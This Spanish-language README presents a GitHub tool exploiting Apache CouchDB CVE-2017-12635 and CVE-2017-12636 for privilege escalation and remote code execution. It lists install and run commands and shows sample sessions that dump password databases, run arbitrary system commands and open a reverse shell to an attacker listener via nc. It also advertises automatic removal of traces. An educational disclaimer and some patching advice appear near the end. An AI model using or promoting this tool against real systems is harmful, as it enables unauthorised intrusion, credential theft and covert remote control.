
Explota CouchDB CVE-2017-12635/12636 para escalada de privilegios y RCE, y luego proporciona una shell interactiva con ejecución de comandos, navegación de bases de datos y reverse shell.
Esta herramienta explota dos vulnerabilidades críticas en Apache CouchDB:
| CVE | Descripción | Gravedad |
|---|---|---|
| CVE-2017-12635 | Escalada de privilegios mediante bypass del análisis JSON | 🔴 Crítica |
| CVE-2017-12636 | Ejecución remota de código a través del Query Server | 🔴 Crítica |
curl http://target:5984/
✨ Características
✅ Explotación automática - Un comando para gobernarlos a todos
✅ Shell interactiva - Interfaz de comandos fácil de usar
✅ Visor de bases de datos - Navega por todas las bases de datos y documentos
✅ Visualización JSON completa - Ve el contenido completo de los documentos
✅ Búsqueda global - Busca palabras clave en todas las bases de datos
✅ Comandos del sistema - Ejecuta comandos arbitrarios en el objetivo
✅ Reverse Shell - Obtén una shell interactiva completa
✅ Historial de comandos - Mantén un registro de tus acciones
✅ Limpieza automática - Elimina rastros después de la explotación
✅ Salida a color - Fácil de leer y entender
📦 Instalación Requisitos previos bash
python3 --version
Clonar e instalar bash
git clone https://github.com/darabium/couchdb-exploit.git cd couchdb-exploit
pip install -r requirements.txt
Requisitos txt
requests>=2.25.0 urllib3>=1.26.0
🚀 Uso Uso básico bash
python3 couchdb-exploit.py -t <TARGET_IP> -p
python3 couchdb-exploit.py -t 192.168.1.100 -p 5984
Opciones de la línea de comandos bash
python3 couchdb-exploit.py -h
usage: couchdb-exploit.py [-h] -t TARGET [-p PORT]
arguments: -h, --help show this help message and exit -t TARGET, --target TARGET Target IP address or hostname -p PORT, --port PORT Target port (default: 5984)
💻 Comandos
📊 Ejemplos
couchdb> db
[+] 39 databases:
_replicator (0 docs)
_users (12 docs)
admin (5 docs)
passwords (25 docs)
core-configuration (8 docs) ...
Ver el contenido de una base de datos bash
couchdb> view passwords
[*] Total documents: 25
couchdb> search password
✅ Found in 'passwords' ID: user1 Content: { "username": "root", "password": "rootpass123" }
✅ Found in 'config' ID: app_settings Content: { "db_password": "secret123", "api_key": "sk_live_abc123" }
couchdb> exec whoami [+] Executing: whoami [+] Command executed!
couchdb> exec id [+] Executing: id [+] Command executed!
nc -lvnp 4444
couchdb> reverse 10.0.0.1 4444 [+] Setting up reverse shell to 10.0.0.1:4444 [!] Make sure listener is running: nc -lvnp 4444 [?] Continue? (y/n): y [+] Reverse shell triggered!
🖼️ Capturas de pantalla Exploit en acción
https://via.placeholder.com/800x400?text=Exploit+Demo+Screenshot
Vista de base de datos
https://via.placeholder.com/800x400?text=Database+View
Reverse Shell
https://via.placeholder.com/800x400?text=Reverse+Shell
⚠️ Descargo de responsabilidad
IMPORTANTE: Esta herramienta es solo para fines educativos y de pruebas autorizadas.
🚫 No la uses en sistemas sin permiso explícito
🚫 El autor no es responsable de ningún uso indebido
🚫 Úsala solo en entornos controlados o en tus propios sistemas
✅ Obtén siempre autorización por escrito antes de realizar pruebas
✅ Sigue prácticas de divulgación responsable
Al usar esta herramienta, aceptas estos términos.
🔐 Consejos de seguridad
Si eres administrador de sistemas:
Actualiza inmediatamente a CouchDB ≥ 1.7.0 o ≥ 2.1.1
Usa un firewall para restringir el acceso al puerto 5984
Habilita la autenticación y usa contraseñas seguras
Supervisa los registros para detectar actividad sospechosa
Realiza auditorías de seguridad periódicas de tu infraestructura
Solución rápida bash
sudo apt-get update sudo apt-get install couchdb=2.1.1 # Or latest version
sudo ufw allow from 192.168.1.0/24 to any port 5984
📚 Referencias
CVE-2017-12635 - NVD
CVE-2017-12636 - NVD
Apache CouchDB Security
Exploit-DB
👤 Autor
darabium
GitHub: @darabium
Telegram: @darabium
⭐ Soporte
Si te resulta útil:
⭐ Marca el repositorio con una estrella
🐛 Reporta problemas
🔧 Contribuye con mejoras
📢 Compártelo con otros
📄 Licencia
Este proyecto está licenciado bajo la Licencia MIT; consulta el archivo LICENSE para más detalles.
Hecho con ❤️ para la investigación en seguridad
⬆ Volver arriba
| Versión | Vulnerable | Versión Corregida |
|---|
| Apache CouchDB < 1.7.0 | ✅ Sí | 1.7.0 |
| Apache CouchDB 1.x.x | ✅ Sí | 1.7.0 |
| Apache CouchDB 2.0.0 | ✅ Sí | 2.1.1 |
| Apache CouchDB 2.1.0 | ✅ Sí | 2.1.1 |
| Apache CouchDB ≥ 2.1.1 | ❌ No | - |
| Comando | Descripción | Ejemplo |
|---|
| db | Muestra todas las bases de datos con contador de documentos | db |
| view | Ver TODOS los documentos de una base de datos (JSON completo) | view passwords |
| raw | Muestra la respuesta cruda del servidor | raw admin |
| count | Cuenta documentos en una base de datos | count users |
| search | Busca una palabra clave en TODAS las bases de datos | search admin |
| exec | Ejecuta un comando del sistema | exec whoami |
| reverse | Configura una reverse shell | reverse 10.0.0.1 4444 |
| history | Muestra el historial de comandos | history |
| help | Muestra este menú | help |
| exit | Salir con limpieza | exit |